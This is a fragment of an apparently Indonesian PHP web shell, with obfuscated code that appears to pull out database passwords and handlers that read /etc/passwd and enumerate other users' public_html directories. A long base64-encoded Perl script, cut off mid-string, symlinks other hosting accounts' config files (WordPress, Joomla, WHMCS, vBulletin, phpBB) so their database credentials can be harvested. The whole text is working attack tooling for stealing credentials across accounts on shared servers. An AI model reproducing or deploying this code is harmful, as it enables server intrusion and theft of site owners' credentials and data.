  5294. }
  5295. =entre2v2($ {
  5296. $ynqhaxyy
  5297. }
  5298. ,"dbpass = \"","\";");
  5299. if(!empty($ {
  5300. $ {
  5301. "GLOBALS"
  5302. }
  5303. ["nheadbdqjtu"]
  5304. }
  5305. ))$ {
  5306. $ {
  5307. "GLOBALS"
  5308. }
  5309. ["jqbdqptiz"]
  5310. }
  5311. =$ {
  5312. $hjtezrws
  5313. }
  5314. ."
  5315. ";
  5316. fwrite($ {
  5317. $ {
  5318. "GLOBALS"
  5319. }
  5320. ["xqjsjx"]
  5321. }
  5322. ,$ {
  5323. $ {
  5324. "GLOBALS"
  5325. }
  5326. ["jqbdqptiz"]
  5327. }
  5328. );
  5329. }
  5330. }
  5331. }
  5332. }
  5333. }
  5334.  
  5335. ?>
  5336. <?php
  5337. if (isset($_GET['jak']) && ($_GET['jak'] == 'sken')) {
  5338. set_time_limit(0);
  5339.  
  5340. ($x0b = ini_get('safe_mode') == 0) ? $x0b = 'off': die('<b>Error: Safe Mode is On</b>');
  5341.  
  5342. @$x0c = fopen('/etc/passwd','r');
  5343.  
  5344. if (!$x0c) { die('<b> RAIMU ELEK WKWKWKWK :v </b>'); }
  5345.  
  5346. // $x0d = array();
  5347. // $x0e = array();
  5348. // $x0f = array();
  5349. // $x10 = 0;
  5350.  
  5351. while(!feof($x0c)){
  5352. // baca baris...
  5353. // $x11 = fgets($x0c);
  5354. // if ($x10 < 35){
  5355. while($x11 = fgets($x0c)){
  5356.  
  5357. $x12 = strpos($x11,':');
  5358.  
  5359. $x13 = substr($x11,0,$x12);
  5360.  
  5361.  
  5362. $x14 = '/home/'.$x13.'/public_html';
  5363. if (($x13 != '')){
  5364.  
  5365. if (is_readable($x14)){
  5366.  
  5367. echo "<font face=Verdana size=2 color=#c000ff>Hajar Boss => $x14</font>";
  5368. echo "<br/>";
  5369. }
  5370. }
  5371. }
  5372. // $x10++;
  5373. }
  5374. }
  5375. ?>
  5376.  
  5377. <?php
  5378. if(isset($_GET['jak']) && $_GET['jak'] == 'vkill'){
  5379.  
  5380. echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Perl based symlink</span></center><br>';
  5381. echo '<br><div align=center><table width=100% border=0><tr><td align=center></td></tr></table>
  5382. <font face="Tahoma" color="#007700" size="2pt">Extract /etc/passwd</font></b><br><br><form method=post>
  5383. <input type=submit name=passx value="Extract"><p></form><br>';
  5384.  
  5385. if(isset($_POST['passx']))
  5386. {
  5387. echo '<p><textarea class="area" rows="15" cols="50" name="usernames" >';
  5388. $users=file("/etc/passwd");
  5389. foreach($users as $user)
  5390. {
  5391. $str=explode("\n",$user);
  5392. echo $str[0]."\n";
  5393. }
  5394. echo '</textarea></p><br>';
  5395.  
  5396. }
  5397.  
  5398. echo '<p><form method=post>
  5399. <font face="Tahoma" color="#ff6000" size="2pt"><input type=submit name=perl value="Perl based ln -s"></font></form><br>
  5400. </p>';
  5401.  
  5402. if(isset($_POST['perl']))
  5403. {
  5404. error_reporting(0);
  5405.  
  5406. $vw='IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1MYW5ndWFnZSIgY29udGVudD0iZW4tdXMiIC8+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4NCjx0aXRsZT5bfl0gUGFpbiBTeW1saW5rPC90aXRsZT4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQoubmV3U3R5bGUxIHsNCiBmb250LWZhbWlseTogVGFob21hOw0KIGZvbnQtc2l6ZTogeC1zbWFsbDsNCiBmb250LXdlaWdodDogYm9sZDsNCiBjb2xvcjogIzAwOTkwMDsNCiAgdGV4dC1hbGlnbjogY2VudGVyOw0KfQ0KPC9zdHlsZT4NCjwvaGVhZD4NCic7DQpzdWIgbGlsew0KICAgICgkdXNlcikgPSBAXzsNCiRtc3IgPSBxeHtwd2R9Ow0KJGtvbGE9JG1zci4iLyIuJHVzZXI7DQoka29sYT1+cy9cbi8vZzsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluNC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nLS0+UGhwYmIxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT5QaHBiYjIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0tPldvcmRwcmVzczEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywka29sYS4nLS0+V29yZHByZXNzMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPkpvb21sYTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPkpvb21sYTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+Sm9vbWxhMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG0xLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG0yLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG0zLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG01LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG02LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG03LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htOC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRrb2xhLictLT41LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRrb2xhLictLT40LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJGtvbGEuJy0tPmludmlzaW8udHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLictLT43LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywka29sYS4nLS0+OC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJGtvbGEuJy0tPm1rLXBvcnRhbGUxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJGtvbGEuJy0tPjEyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsJGtvbGEuJy0tPlNtZi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywka29sYS4nLS0+cGhwYmIzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29sYS4nLS0+aW5maW5pdHkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT52QnVsbGV0aW4xLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0tPnZCdWxsZXRpbjMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2NjL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT52QnVsbGV0aW40LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nLS0+UGhwYmIxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+UGhwYmIyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLS0+V29yZHByZXNzMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywka29sYS4nLS0+V29yZHByZXNzMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5Kb29tbGExLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+Sm9vbWxhMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+Sm9vbWxhMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htYy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG0zLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG00LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG02LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htNy50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG04LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmYucGhwJywka29sYS4nLS0+NS50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCcsJGtvbGEuJy0tPjQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJGtvbGEuJy0tPmludmlzaW8udHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29sYS4nLS0+Ny50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvY29ubmVjdC5waHAnLCRrb2xhLictLT44LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJGtvbGEuJy0tPm1rLXBvcnRhbGUxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCRrb2xhLictLT4xMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvc2V0dGluZ3MucGhwJywka29sYS4nLS0+U21mLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywka29sYS4nLS0+cGhwYmIzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJy0tPmluZmluaXR5LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0tPnZCdWxsZXRpbjIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT52QnVsbGV0aW4zLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluNC50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJGtvbGEuJy0tPlBocGJiMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0tPlBocGJiMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0tPldvcmRwcmVzczEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0tPldvcmRwcmVzczIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+Sm9vbWxhMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPkpvb21sYTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPkpvb21sYTMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG0yLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htNC50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG01LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htNi50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htOC50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG05LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJGtvbGEuJy0tPjUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRrb2xhLictLT40LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRrb2xhLictLT5pbnZpc2lvLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJy0tPjcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywka29sYS4nLS0+OC50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRrb2xhLictLT5tay1wb3J0YWxlMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhwJywka29sYS4nLS0+MTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsJGtvbGEuJy0tPlNtZi50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCcsJGtvbGEuJy0tPnBocGJiMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLictLT5pbmZpbml0eS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0tPnZCdWxsZXRpbjEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT52QnVsbGV0aW4yLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0tPnZCdWxsZXRpbjQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRrb2xhLictLT5QaHBiYjEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT5QaHBiYjIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRrb2xhLictLT5Xb3JkcHJlc3MxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLictLT5Xb3JkcHJlc3MyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPkpvb21sYTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5Kb29tbGEyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5Kb29tbGEzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG0xLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htNS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTYudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG03LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTgudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htOS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRrb2xhLictLT41LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywka29sYS4nLS0+NC50eHQnKTsNCnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywka29sYS4nLS0+aW52aXNpby50eHQnKTsNCnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLictLT43LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25uZWN0LnBocCcsJGtvbGEuJy0tPjgudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywka29sYS4nLS0+bWstcG9ydGFsZTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJGtvbGEuJy0tPjEyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCRrb2xhLictLT5TbWYudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCRrb2xhLictLT5waHBiYjMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29sYS4nLS0+aW5maW5pdHkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT52QnVsbGV0aW4xLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluMi50eH